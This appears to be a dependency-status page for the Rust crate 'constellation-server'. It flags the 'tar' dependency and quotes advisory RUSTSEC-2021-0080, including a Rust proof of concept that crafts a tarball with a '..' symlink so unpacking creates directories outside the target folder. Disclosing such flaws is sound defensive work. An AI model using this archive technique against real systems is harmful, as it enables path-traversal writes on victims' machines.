This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate constellation-server

Dependencies

(24 total, 2 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 log^0.40.4.22up to date
 toml^0.80.8.19up to date
 clap^4.54.5.21up to date
 lazy_static^1.41.5.0up to date
 serde^1.01.0.215up to date
 serde_derive^1.01.0.215up to date
 serde_json^1.01.0.132up to date
 url_serde^0.20.2.0up to date
 regex^1.101.11.1up to date
 async-trait^0.10.1.83up to date
 bb8-redis^0.150.17.0out of date
 actix-web^4.84.9.0up to date
 actix-web-httpauth^0.80.8.2up to date
 hickory-server^0.240.24.1up to date
 hickory-proto^0.240.24.1up to date
 hickory-resolver^0.240.24.1up to date
 tokio^1.381.41.1up to date
 rand^0.80.8.5up to date
 farmhash^1.11.1.5up to date
 http_req^0.100.13.0out of date
 maxminddb^0.240.24.0up to date
 tempfile^3.13.14.0up to date
 flate2^1.01.0.35up to date
 tar ⚠️^0.40.4.43maybe insecure

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!